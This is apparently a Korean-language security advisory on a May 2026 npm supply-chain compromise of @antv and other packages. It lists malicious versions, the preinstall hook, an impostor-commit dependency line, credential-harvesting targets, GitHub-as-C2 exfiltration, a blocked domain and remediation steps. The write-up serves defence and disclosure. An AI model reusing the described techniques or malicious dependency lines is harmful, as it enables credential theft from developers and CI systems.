첫 번째 파동은 2026년 5월 19일 01:39~01:56 UTC에 약 317개 버전을 배포했고, 두 번째 파동은 02:05~02:06 UTC에 같은 패키지들에 약 314개 버전 bump를 수행함
대부분의 패키지 309개는 파동마다 하나씩 정확히 2개의 악성 버전을 받음
size-sensor, echarts-for-react, jest-canvas-mock, jest-date-mock 4개 패키지는 3개 버전을 받아 초기 테스트에 쓰인 것으로 나타남
공격자는 대부분의 패키지에서 latest dist-tag를 이동하지 않았지만, npm semver 해석은 latest와 무관하게 범위에 맞는 가장 높은 버전을 선택함
예를 들어 echarts-for-react의 latest가 3.0.6에 남아 있어도, "echarts-for-react": "^3.0.6"인 프로젝트는 다음 clean install에서 악성 버전 3.2.7로 해석될 수 있음
실행 경로와 페이로드
손상된 모든 버전은 package.json에 버전 bump와 "preinstall": "bun run index.js"를 추가함
637개 악성 버전 중 630개는 optionalDependencies에 @antv/setup: github:antvis/G2#<commit-sha>를 추가해 두 번째 페이로드 사본을 가져오게 함
preinstall 훅은 의존성 설치 전에 실행되며 Bun 런타임을 요구함
preinstall이 차단되거나 건너뛰어져도 GitHub 사칭 커밋의 prepare 스크립트가 두 번째 실행 경로로 남음
index.js는 한 줄짜리 498KB 난독화 Bun 번들이며, SAP 침해에 쓰인 Mini Shai-Hulud payload와 같은 Bun 요구 사항, hex-variable 난독화, 100KB flush threshold 스캐너 구조, 자격 증명 정규식 세트를 가짐
CI 환경 감지는 GitHub Actions, Jenkins, GitLab CI, CircleCI, Travis, Buildkite, Drone, TeamCity, AppVeyor, Bitbucket Pipelines, CodeBuild, Azure DevOps, Netlify, Vercel 등 20개 이상 플랫폼의 환경 변수를 확인함
자격 증명 수집 대상
페이로드는 암호화된 이름의 환경 변수 80개 이상을 읽고, 파일 내용은 정규식으로 스캔함
주요 대상은 GitHub token, npm token, GitHub Actions JWT, AWS key, Azure key, DB connection string, Stripe key, SSH key, Docker auth, Vault token, Kubernetes token, URL embedded credential임
파일 스캐너는 홈 디렉터리의 .ssh, .aws/credentials, .npmrc, .docker/config.json, .kube/config 같은 표준 자격 증명 위치를 읽음
AWS credential resolution order 전체를 순회하고, EC2 IMDSv2와 ECS container credential endpoint에서 IAM role credential을 가져오며, AWS STS GetCallerIdentity와 Secrets Manager 접근도 시도함
Vault는 token 파일과 VAULT_ADDR, VAULT_TOKEN, VAULT_ROLE 등을 확인하고, 유효한 credential이 있으면 secret 열거와 AWS·Kubernetes 인증을 시도함
Kubernetes는 service account token과 KUBECONFIG를 확인하며, Docker socket이 있으면 host의 컨테이너 열거와 컨테이너 탈출을 시도함
C2와 데이터 유출
GitHub API는 C2처럼 사용되며, GET /user로 탈취한 GitHub 토큰을 검증하고 GET /user/orgs로 조직을 열거함
repo 또는 public_repo 권한이 충분한 토큰은 공격자 유출 저장소 생성에 사용됨
생성 저장소 설명은 역순 문자열 niagA oG eW ereH :duluH-iahS로 저장되어, 정방향으로 “Shai-Hulud: Here We Go Again”이 됨
저장소 이름은 harkonnen-melange-742, fremen-sandworm-315, gesserit-navigator-508처럼 Dune 테마 단어 2개와 숫자를 조합함
유출 데이터는 Git Data API를 통해 blob, tree, commit, ref update 순서로 저장됨
프로세스 메모리 스캐너는 Linux에서 /proc/pid/maps+mem, Windows에서 ReadProcessMemory를 사용해 GitHub Actions runner worker 프로세스의 읽기 가능한 메모리 영역을 덤프함
antvis/G2 사칭 커밋
637개 악성 버전 중 630개는 antvis/G2 저장소의 특정 커밋을 가리키는 optionalDependencies 항목을 포함함
{
"optionalDependencies": {
"@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569"
}
}
npm이 github: 의존성을 해석하면 해당 커밋을 가져오고, package.json을 찾은 뒤 라이프사이클 스크립트를 실행함
해당 커밋에는 @antv/setup을 선언하고 prepare 스크립트를 포함한 package.json과 같은 Shai-Hulud 페이로드를 다시 난독화한 499KB index.js가 있음
prepare 스크립트의 && exit 1은 optional dependency를 실패하게 만들지만, npm은 optional dependency 실패를 치명적으로 처리하지 않아 설치가 계속됨
Git API는 antvis/G2에 푸시된 서로 다른 커밋 SHA 3개를 보여주며, 모두 어떤 브랜치에도 붙어 있지 않음
세 커밋은 author huiyu.zjt <Alexzjt@users.noreply.github.com>, commit message New Package, parents 0개라는 동일한 메타데이터를 공유하며 GPG 서명이 없음
공격자는 antvis/G2에 쓰기 권한 없이 fork에 payload orphan commit을 만들고 fork를 삭제하는 방식으로 부모 저장소 namespace에서 SHA fetch가 가능한 커밋을 남길 수 있음
이 방식은 GitHub Actions의 사칭 커밋 문제를 Chainguard가 문서화한 것과 같은 종류이며, 여기서는 npm github: 의존성 해석에 적용됨
침해 지표
2026년 5월 19일 01:44~02:06 UTC 사이 atool(i@hust.cc)이 배포한 패키지가 확인 대상임
compromised-packages.csv 표에는 Package와 Compromised Versions 2개 열이 있으며, 표 기준 317개 패키지가 표시됨
lockfile에서 해당 패키지와 2026-05-19에 배포된 악성 버전 존재 여부를 확인해야 함
대표 @antv 패키지와 악성 버전
@antv/g2: 5.5.8, 5.6.8
@antv/g6: 5.2.1, 5.3.1
@antv/g: 6.4.1, 6.5.1
@antv/l7: 2.26.10, 2.27.10
@antv/x6: 3.2.7, 3.3.7
@antv/s2: 2.8.1, 2.9.1
@antv/f2: 5.15.0, 5.16.0
일반 npm 패키지와 악성 버전
echarts-for-react: 3.0.7, 3.1.7, 3.2.7
size-sensor: 1.0.4, 1.1.4, 1.2.4
jest-canvas-mock: 2.5.3, 2.6.3, 2.7.3
jest-date-mock: 1.0.11, 1.1.11, 1.2.11
timeago.js: 4.1.2, 4.2.2
timeago-react: 3.1.7, 3.2.7
@lint-md/cli: 2.1.0, 2.2.0
@lint-md/core: 2.1.0, 2.2.0
@lint-md/parser: 0.1.14, 0.2.14
대응과 방어
침해 버전이 설치됐다면 빌드 환경에서 접근 가능했던 npm 토큰, GitHub PAT, AWS 키, SSH 키, 클라우드 자격 증명, 데이터베이스 비밀번호, Vault 토큰, Kubernetes service account 토큰, 로컬 비밀번호 관리자 비밀 값을 교체해야 함
t.m-kosche[.]com은 네트워크와 DNS 수준에서 차단해야 함
빌드 환경에서 접근 가능한 토큰을 가진 GitHub 계정 아래에 승인되지 않은 공개 저장소가 생성됐는지 확인해야 함
CI 파이프라인에서 승인되지 않은 패키지 publish와 npm OIDC 토큰 교환 로그를 검토해야 함
침해된 CI identity로 생성된 서명 artifact가 있는지 Sigstore 투명성 로그를 확인해야 함
로컬 Node.js 프로젝트에서 .claude/settings.json 훅, .vscode/tasks.json 자동 실행 작업, .claude/setup.mjs, .vscode/setup.mjs를 확인해야 함
kitty-monitor systemd 사용자 서비스와 com.user.kitty-monitor LaunchAgent를 제거하고, ~/.local/share/kitty/cat.py, /var/tmp/.gh_update_state, ~/.local/bin/gh-token-monitor.sh 존재 여부를 확인해야 함
semver 범위 해석이 악성 버전으로 이어지지 않도록 의존성을 pin하거나 lockfile을 사용해야 함
CI/CD 파이프라인에서 Docker socket 노출과 EC2 metadata 접근을 감사하고, IMDSv2 hop limit 제한을 고려해야 함